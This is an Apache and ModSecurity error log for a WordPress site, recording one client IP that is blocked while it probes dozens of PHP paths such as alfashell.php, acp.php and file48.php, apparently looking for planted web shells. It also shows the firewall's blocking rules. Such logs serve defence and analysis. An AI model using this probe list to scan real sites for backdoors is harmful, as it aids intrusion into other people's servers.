[Thu Apr 16 23:02:41.759324 2026] [:error] [pid 57536:tid 57557] [client 20.203.186.201:41515] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "aeD6ESQU4faGja6jpDuubwAAAAk"]
[Thu Apr 16 23:02:42.359948 2026] [:error] [pid 57536:tid 57555] [client 20.203.186.201:35452] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "aeD6EiQU4faGja6jpDuucwAAAAc"]
[Thu Apr 16 23:02:42.932831 2026] [:error] [pid 49094:tid 49114] [client 20.203.186.201:35876] [client 20.203.186.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeD6EjbDwvcXorHR_MwhJAAAAVI"]
[Thu Apr 16 23:02:43.539595 2026] [:error] [pid 57538:tid 57624] [client 20.203.186.201:27196] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeD6E8uMaiEF5SVR2Bf8swAAAJY"]
[Thu Apr 16 23:02:44.176556 2026] [:error] [pid 49094:tid 49120] [client 20.203.186.201:41491] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeD6FDbDwvcXorHR_MwhLgAAAVg"]
[Thu Apr 16 23:02:44.831653 2026] [:error] [pid 29603:tid 29612] [client 20.203.186.201:25733] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeD6FFfGOR6fpTWUAzq1aQAAAQc"]
[Thu Apr 16 23:02:45.397316 2026] [:error] [pid 57537:tid 57590] [client 20.203.186.201:46938] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeD6FVVQRS8nm73ENAnNHgAAAE8"]
[Thu Apr 16 23:02:45.913516 2026] [:error] [pid 57536:tid 57560] [client 20.203.186.201:41519] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aeD6FSQU4faGja6jpDuugAAAAAw"]
[Thu Apr 16 23:02:47.622213 2026] [autoindex:error] [pid 57536:tid 57568] [client 20.203.186.201:35866] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 23:02:48.150337 2026] [autoindex:error] [pid 57536:tid 57559] [client 20.203.186.201:35866] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 23:03:03.467368 2026] [:error] [pid 57536:tid 57569] [client 20.203.186.201:35866] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aeD6JyQU4faGja6jpDuu3AAAABU"]
[Thu Apr 16 23:03:04.240592 2026] [:error] [pid 49094:tid 49116] [client 20.203.186.201:21521] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aeD6KDbDwvcXorHR_MwhpQAAAVQ"]
[Thu Apr 16 23:03:04.820196 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:46935] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aeD6KKMCQoTw7TsxWukC2wAAAM0"]
[Thu Apr 16 23:03:05.602706 2026] [:error] [pid 57639:tid 57662] [client 20.203.186.201:27159] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aeD6KaMCQoTw7TsxWukC4gAAANA"]
[Thu Apr 16 23:03:06.165394 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:41484] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeD6KqMCQoTw7TsxWukC5QAAAMs"]
[Thu Apr 16 23:03:06.758197 2026] [:error] [pid 29603:tid 29628] [client 20.203.186.201:27190] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeD6KlfGOR6fpTWUAzq1jAAAARc"]
[Thu Apr 16 23:03:07.335778 2026] [:error] [pid 29603:tid 29625] [client 20.203.186.201:61014] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeD6K1fGOR6fpTWUAzq1jwAAARQ"]
[Thu Apr 16 23:03:07.893205 2026] [:error] [pid 29603:tid 29621] [client 20.203.186.201:12591] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeD6K1fGOR6fpTWUAzq1kQAAARA"]
[Thu Apr 16 23:03:08.389666 2026] [:error] [pid 29603:tid 29624] [client 20.203.186.201:46982] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeD6LFfGOR6fpTWUAzq1lAAAARM"]
[Thu Apr 16 23:03:09.015112 2026] [:error] [pid 57639:tid 57655] [client 20.203.186.201:62077] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeD6LaMCQoTw7TsxWukC-gAAAMk"]
[Thu Apr 16 23:03:09.678986 2026] [:error] [pid 29603:tid 29617] [client 20.203.186.201:62060] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeD6LVfGOR6fpTWUAzq1nAAAAQw"]
[Thu Apr 16 23:03:10.558554 2026] [:error] [pid 57639:tid 57665] [client 20.203.186.201:41478] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeD6LqMCQoTw7TsxWukDAgAAANM"]
[Thu Apr 16 23:03:11.170693 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:40496] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aeD6L6MCQoTw7TsxWukDCAAAAMQ"]
[Thu Apr 16 23:03:12.007443 2026] [:error] [pid 57536:tid 57550] [client 20.203.186.201:27183] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aeD6MCQU4faGja6jpDuu4QAAAAI"]
[Thu Apr 16 23:03:12.632902 2026] [:error] [pid 57639:tid 57651] [client 20.203.186.201:25752] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aeD6MKMCQoTw7TsxWukDEAAAAMU"]
[Thu Apr 16 23:03:13.337516 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:46913] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aeD6MaMCQoTw7TsxWukDFAAAAME"]
[Thu Apr 16 23:03:14.254960 2026] [:error] [pid 7880:tid 7889] [client 20.203.186.201:61016] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aeD6Mqaezm4fSGc0yULQ0AAAAYQ"]
[Thu Apr 16 23:03:14.873344 2026] [:error] [pid 57639:tid 57660] [client 20.203.186.201:20917] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aeD6MqMCQoTw7TsxWukDGgAAAM4"]
[Thu Apr 16 23:03:15.460694 2026] [:error] [pid 57639:tid 57651] [client 20.203.186.201:4313] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aeD6M6MCQoTw7TsxWukDHAAAAMU"]
[Thu Apr 16 23:03:16.109959 2026] [:error] [pid 49094:tid 49099] [client 20.203.186.201:62025] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aeD6NDbDwvcXorHR_MwhsAAAAUM"]
[Thu Apr 16 23:03:16.659761 2026] [:error] [pid 49094:tid 49100] [client 20.203.186.201:62056] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD6NDbDwvcXorHR_MwhtQAAAUQ"]
[Thu Apr 16 23:03:17.292379 2026] [:error] [pid 57639:tid 57654] [client 20.203.186.201:41492] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD6NaMCQoTw7TsxWukDIAAAAMg"]
[Thu Apr 16 23:03:17.844754 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:35408] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD6NaMCQoTw7TsxWukDJAAAANI"]
[Thu Apr 16 23:03:18.481851 2026] [:error] [pid 57536:tid 57555] [client 20.203.186.201:61053] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aeD6NiQU4faGja6jpDuu5wAAAAc"]
[Thu Apr 16 23:03:19.090247 2026] [:error] [pid 57536:tid 57562] [client 20.203.186.201:41494] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeD6NyQU4faGja6jpDuu6QAAAA4"]
[Thu Apr 16 23:03:19.639108 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:35892] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeD6N6MCQoTw7TsxWukDKAAAAMM"]
[Thu Apr 16 23:03:20.295835 2026] [:error] [pid 49094:tid 49114] [client 20.203.186.201:20870] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeD6ODbDwvcXorHR_MwhvAAAAVI"]
[Thu Apr 16 23:03:20.816949 2026] [:error] [pid 49094:tid 49104] [client 20.203.186.201:46928] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeD6ODbDwvcXorHR_MwhvgAAAUg"]
[Thu Apr 16 23:03:21.480759 2026] [:error] [pid 49094:tid 49116] [client 20.203.186.201:41534] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aeD6OTbDwvcXorHR_MwhwQAAAVQ"]
[Thu Apr 16 23:03:22.033127 2026] [:error] [pid 57536:tid 57557] [client 20.203.186.201:27153] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aeD6OiQU4faGja6jpDuu7gAAAAk"]
[Thu Apr 16 23:03:22.581940 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:61039] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aeD6OqMCQoTw7TsxWukDLQAAAMc"]
[Thu Apr 16 23:03:23.199287 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:27168] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aeD6O6MCQoTw7TsxWukDMQAAAMM"]
[Thu Apr 16 23:03:23.879613 2026] [:error] [pid 57536:tid 57553] [client 20.203.186.201:35889] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aeD6OyQU4faGja6jpDuu9AAAAAU"]
[Thu Apr 16 23:03:24.459089 2026] [:error] [pid 57536:tid 57556] [client 20.203.186.201:35412] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aeD6PCQU4faGja6jpDuu9QAAAAg"]
[Thu Apr 16 23:03:25.006066 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:35895] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aeD6PaMCQoTw7TsxWukDPgAAAMA"]
[Thu Apr 16 23:03:25.562513 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:27142] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aeD6PaMCQoTw7TsxWukDQgAAANI"]
[Thu Apr 16 23:03:26.180158 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:41525] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aeD6PqMCQoTw7TsxWukDRgAAANg"]
[Thu Apr 16 23:03:26.849770 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:47025] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aeD6PjbDwvcXorHR_MwhyQAAAVA"]
[Thu Apr 16 23:03:27.431515 2026] [:error] [pid 49094:tid 49111] [client 20.203.186.201:20873] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aeD6PzbDwvcXorHR_MwhzAAAAU8"]
[Thu Apr 16 23:03:27.941172 2026] [:error] [pid 49094:tid 49114] [client 20.203.186.201:62051] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aeD6PzbDwvcXorHR_MwhzgAAAVI"]
[Thu Apr 16 23:03:28.532742 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:21536] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aeD6QKMCQoTw7TsxWukDUwAAAM0"]
[Thu Apr 16 23:03:29.017902 2026] [:error] [pid 49094:tid 49113] [client 20.203.186.201:61048] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aeD6QTbDwvcXorHR_Mwh0QAAAVE"]
[Thu Apr 16 23:03:29.617155 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:41496] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aeD6QTbDwvcXorHR_Mwh1AAAAUw"]
[Thu Apr 16 23:03:30.166806 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:40482] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aeD6QjbDwvcXorHR_Mwh2AAAAVA"]
[Thu Apr 16 23:03:30.744913 2026] [:error] [pid 57538:tid 57609] [client 20.203.186.201:46927] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "aeD6QsuMaiEF5SVR2Bf83QAAAIc"]
[Thu Apr 16 23:03:31.355841 2026] [:error] [pid 57639:tid 57661] [client 20.203.186.201:20918] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "aeD6Q6MCQoTw7TsxWukDWgAAAM8"]
